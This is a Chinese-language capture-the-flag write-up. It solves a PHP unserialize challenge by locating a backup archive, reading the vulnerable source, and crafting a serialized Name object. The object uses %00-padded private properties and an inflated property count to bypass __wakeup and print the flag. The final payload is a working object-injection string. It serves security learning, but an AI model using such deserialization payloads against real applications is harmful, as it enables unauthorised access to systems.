极客大挑战 2019 PHP

打开题目 得到提示备份了网站
所以考虑

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index.php.bak   失败
www.tar  失败
www.zip  成功

下载到源码后 先查看一下index.php
得知用了反序列化的函数
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<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>


<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我！！！
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

接下来根据包含 查看class.php

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<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

根据_destruct（）函数 得知this->password==100 this->username==admin时 输出flag

随意在后面添加上

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$a = new Name('admin',100);
$b=serialize($a);
echo $b;

启动本地PHP环境 访问一下新的class.php
得到
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O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}Syc{dog_dog_dog_dog}

这里不会了 看了一下WP
知识点：

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因为username和password都是私有变量，变量中的类名前后会有空白符，而复制的时候会丢失，所以加上加%00

将Name后面的2改为3 是为了绕过__wakeup()  使其username不被覆盖

最后的payload：

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?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag

学完JAVA之后 总算对反序列化这玩意 有点概念了 题不算太难 但是挺有意思的 开始我的反序列化之旅

看了WP之后 得知还有用python提交的 更简便 等以后我会更新一下python脚本的方法